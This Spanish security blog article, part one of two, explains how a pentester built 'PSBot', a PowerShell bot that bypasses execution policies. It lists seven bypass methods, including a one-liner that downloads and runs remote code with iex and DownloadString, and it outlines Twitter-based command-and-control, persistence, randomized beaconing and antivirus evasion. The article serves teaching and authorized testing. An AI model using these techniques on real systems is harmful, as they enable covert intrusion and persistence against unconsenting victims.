PSBot: Dame PowerShell y Moveré el Mundo [1 de 2]

En algunas ocasiones te enfrentas a un entorno en el que no puedes contar con tus herramientas de pentesting y tienes que usar tu imaginación para lograr ejecutar ciertas acciones. En Qurtuba Security Congress tuve el placer de exponer esta charla en la que se mostraba como gracias a herramientas nativas de Microsoft Windows se puede ejecutar cualquier tipo de código, por lo que no echaremos tanto en falta nuestras típicas herramientas de pentesting. El nombre de la charla fue “Give me a PowerShell and I will move your world”.

Figura 1. PSBot: Dame PowerShell y Moveré el Mundo

Analizando algunas charlas sobre PowerShell, conociendo métodos para bypassear las políticas de ejecución de código en PowerShell y trasteando con PowerSploit, llegué a la conclusión de que se podría montar un pequeño bot útil para entornos difíciles, entornos con alta monitorización de elementos de seguridad o entornos a los cuales el bot pudiera acceder, pero no el pentester. El punto de comienzo de este trabajo empezaba en algo muy sencillo tengo acceso, ya sea físico o remoto a un equipo en una auditoria, pero no tengo mi caja de herramientas.

¿Qué haré sin un nmap?¿Qué haré sin mi Foca?¿Puedo realizar un PtH sin mi WCE?¿Podría ejecutar código en esa máquina de algún modo para conseguir hacer el Ethical Hacking? La única, y más que suficiente, herramienta de la que dispongo de forma nativa en los sistemas Microsoft es PowerShell. Con esta herramienta se podrían hacer muchas cosas, e interactuar con gran cantidad de productos de Microsoft, por lo que manos a la obra.

Figura 2: Script de PowerShell para cifrar archivos usado por un Ransomware

Los malos también han utilizado PowerShell en el pasado para hacer hasta ransomware, así que ¿por qué no iba a poder usarlo yo para hacer pentesting? Empecé a trabajar en un pequeño esqueleto de un bot con el fin de ver como evadir las políticas de ejecución de scripts que PowerShell trae consigo. Por cierto, a mi bot lo llamé… PSBot. Además, un bot escrito en PowerShell sería potentísimo sobre todo para entornos en los que nos encontramos con una máquina Citrix o Terminal Services en la que se consigue llegar a la PowerShell.

El primer paso: ¿Puedo ejecutar código local/remoto?

Algo está claro, y es que si tecleo el código sobre la PowerShell, independientemente de las políticas de ejecución que estén configuradas podré crear variables, funciones y lanzar comandos, siempre y cuando tenga acceso a la terminal. ¿Qué son las políticas de ejecución de PowerShell? Es un mecanismo con el que PowerShell puede decidir si ejecuta un script o en qué condiciones éste se ejecutará. De forma resumida podemos verlo como una medida de seguridad para que las aplicaciones o un proceso automatizado no puedan ejecutar scripts. Existen diferentes valores para las políticas de ejecución, algunas de ellas son:

- Restricted: Valor por defecto configurado en PowerShell. No permite la ejecución de scripts de PowerShell. 

- Unrestricted: Es el valor contrario al anterior, y permite ejecutar cualquier script a través del proceso de PowerShell. 

- Signed: Con este valor, solo se ejecutarán los scripts que se encuentren firmados por una entidad reconocida en el equipo. 

- RemoteSigned: Con este valor se podrán ejecutar los scripts que estén escritos o implementados en el propio equipo. Sin embargo, los scripts obtenido de ubicaciones exteriores solo se podrán ejecutar si se encuentran firmados y son validados.

Es importante que PSBot pueda ejecutar código saltándose estas políticas, y será extremadamente fácil si tenemos acceso local, ya que en el mismo prompt podremos escribirlo, pero estando en remoto podríamos tener alguna complicación más.

Por último, ¿cómo puedo consultar qué política se encuentra configurada en el equipo? Existen diversos comandos o cmdlets que permiten configurar en PowerShell las políticas de ejecución, por ejemplo Get-ExecutionPolicy permite obtener la política implementada. Por otro lado, con el cmdlet Set-ExecutionPolicy [nombre de política] podemos cambiar la política, siempre y cuando tengamos privilegios para ello.

Siete formas de bypassear las políticas de ejecución

Existen muchas más formas de bypassear la política, y es que es la propia Microsoft la que en algunos casos te da los parámetros necesarios para hacerlo. En nuestro caso es algo importante ya que será la base para poder ejecutar código en un entorno restringido a través del PSBot. A continuación se listan siete formas de llevar a cabo este bypass, algunas más trabajadas otras más sencillas, y alguna obvia.

1. Copy and paste: La más sencilla de todas, teniendo acceso físico a la máquina, ya sea en un Punto de Información, un servidor Citrix, un Kiosco Interactivo o un servidor Terminal Services, basta con copiar y pegar. Es algo lógico, se podrá bloquear la ejecución de un script, pero no el copiar el contenido y pegarlo en la línea de comandos. 

2. Get-Content [script.ps1] | powershell.exe –nop -: Se le pasa a una PowerShell el contenido de un script, el cual al ser recibido por el otro proceso lo ejecutará. 

3. Powershell –command “write-host ‘mi bypass’”: Directamente podemos pasarle al binario de PowerShell las instrucciones a ejecutar. 

4. Powershell –noprofile –c “iex(New-Object Net.WebClient).DownloadString(‘direcciónURL’)”. 5. Invoke-command –scriptblock {write-host “mi bypass”}:. De Nuevo, directamente se escribe el código y se invoca con el commando Invoke-Command. 

6. $contenido = “write-host ‘mi bypass’”; El contenido que se quiere ejecutar se almacena en una variable. Después se transforma a bytes el contenido almacenado en la variable. 

$bytes = [System.Text.Encoding]::Unicode.GetBytes($contenido); Por último, se pasa a base64 $encoded = [Convert]::ToBase64String($bytes). Una vez lo tenemos en base64 podemos ejecutarlo con una PowerShell a través del parámetro –encoded. 

7. Powershell –ExecutionPolicy Bypass –File

Planificar ciertas acciones

El entorno puede ser muy dispar de una auditoria a otra, lo que está claro es que no dispondremos de herramientas, solo de una PowerShell y nuestra imaginación. La idea es tener claras las primeras acciones a realizar con nuestra pequeña implementación del bot y es un reconocimiento de dónde estemos ejecutándolo.

Podemos partir de la posibilidad de introducir un fichero de texto el cual contiene el pequeño código de nuestro bot. La idea sería que este bot pueda ejecutar cualquier tipo de cosa. El reconocimiento tanto local del equipo, como de la red interna dónde se encuentra el bot es algo fundamental y que debemos contemplar. Algunas de las cosas que debemos tener en cuenta son:

- La ejecución de código: como se ha mencionado anteriormente.
- La no generación de demasiado tráfico: Pasar desapercibido es importante en un entorno así.
- Posibilidad de utilización de Proxies: ya sea porque la empresa lo utiliza o porque queremos hacerlo de forma remota.
- Conseguir evitar whitelisting de aplicaciones: Si conseguimos ejecutar código a través del bot y tenemos cierta comunicación fluida si estamos en remoto, podremos lograr saltarnos las listas blancas de aplicaciones, dónde por supuesto PowerShell se encontrará.
- Evasión de AV: Este es un punto fundamental. Lo mismo ocurrirá con otros elementos de seguridad, tales como IDS o IPS.

¿Conseguiremos todo esto con nuestro PSBot? Pues pasito a pasito lo iremos construyendo e iremos viendo que es posible.

Twitter como panel de órdenes (o Pastebin, o Facebook,  o…)

En el caso de que nuestro bot sea controlado de forma remota, podemos decirle que las órdenes las recoja de Twitter. Existe un módulo para PowerShell que dispone de diferentes funciones que configuran y conectan con la API de Twitter. La idea sería que el bot se conecte a Twitter y descargue los tweets de alguna cuenta configurada. De esta forma podría analizar y procesar la información del tweet, que tendrán una codificación con algún tipo de lógica. Incluso, se podría hacer que nuestro bot descargase las funciones desde los tweets encodeadas en base64, como ha hecho ya el malware en el pasado.

También podríamos hacer que las ejecuciones de los comandos y funciones fueran devueltas por mensaje directo a una cuenta de Twitter. Esto daría mucho juego y haría que las conexiones, a priori, pudieran pasar más inadvertidas que si mandásemos la información a un servidor concreto.

Tenemos que tener claro que podemos utilizar otros servicios para realizar la misma función, como por ejemplo Pastebin o el propio Facebook. Esto nos ayudará a ver que existen diversas vías de dónde recibir comandos y funciones, por ejemplo, podríamos indicar al bot que recibiese los comandos de Twitter y las funciones fueran cargadas a posteriori por Pastebin.

La receta: Objetivo minimizar código.

El objetivo es lograr tener el menor código posible en el fichero de texto que introducimos en el equipo y pegamos en la PowerShell. El bot tiene una serie de partes diferenciadas y que implementa. A continuación una lista de resumen:

1. Comprobación de identidad y privilegios. 

2. Creación de la función loader con la que se cargarán las funciones externas: Tanto si estamos en local como en remoto, el código que queremos ejecutar vendrá del exterior. Como se mencionó anteriormente podría venir de redes sociales, o por ejemplo un servidor web preparado para distribuir dicho código. Esta opción sería utilizada para simplificar el bot.

Figura 3: Loader de PSBot

3. Carga del fichero account.txt de forma externa: Este fichero presenta un gran número de funciones necesarias para el funcionamiento básico del bot. Hay que destacar que este fichero de texto contiene las funciones correspondientes a la configuración y uso de Twitter, la función que genera persistencia del bot, la función de actualización de fecha de lecturas de tuits, etcétera. Esta función es vital, sobretodo si trabajamos con el bot en remoto.

Figura 4: Fichero accounts.txt

4. Crear persistencia: Esto puede sonar extraño, pero es importante dotar al bot de cierta persistencia en algunos casos. Puede que hoy tengamos acceso a la máquina, pero puede que mañana no, y sigamos realizando el pentest. Por esta razón, puede ser útil dotar al bot de persistencia en el sistema.

Figura 5: Gestión de la persistencia

5. Crear conexión con Twitter.

6. Lectura de tweets. 

Figura 6: Lectura de tweets en PSBot

7. Protocolo para los comandos: Los comandos serán leídos con el siguiente formado [comando]|[función]|[parámetros]. Como puede verse se separará entre pipes, ya que el bot lo troceará por los pipes. Por ejemplo, load|portscan|-hosts 10.0.0.0/24. El bot leerá de twitter la instrucción y al trocear entenderá que tiene que cargar la función portscan remotamente y la ejecutará en local pasándole los argumentos –hosts 10.0.0.0/24.

8. Aleatoriedad en las peticiones: Si el bot es remoto podemos implementarle una función que le aporte aleatoriedad a cuando realizar las peticiones. La función random-time es insertada en el bot de manera dinámica a través de la descarga del paquete de funciones account, el cual se comentó anteriormente. Si el bot es local, es decir lo ejecutamos nosotros desde una línea de comandos en físico, no necesitaríamos esta aleatoriedad. 

9. Update-Persistence: Existe una función la cual, si hemos ejecutado la persistencia, nos permite actualizar el script en caliente. Este script podría modificar el comportamiento total del script de manera transparente o actualizar la versión del script en un momento dado. Un ejemplo de este tipo de función se puede ver en la imagen.

Figura 7: Update Persistence

10. Ejecutar otras funciones: Funciones ya hechas con el mecanismo implementado, como por ejemplo las funciones de pentesting implementadas en PowerSploit.

Una vez tenemos la receta preparada e implementada, tenemos nuestro PSBot preparado para nuestro ethical hacking. En esta prueba de concepto el código no ocupó más de 100 líneas en el caso del bot remoto, siendo de 70 en el caso del bot local y teniendo una tercera versión de bot local minimalista con 25 líneas de código y totalmente funcional. Ya estamos listos para los ataques que puedes ver en la segunda parte de este artículo.

Autor: Pablo González Pérez (@pablogonzalezpe)
Project Manager en Eleven Paths y escritor de los libros:
"Metasploit para Pentesters", "Pentesting con PowerShell" y "Ethical Hacking"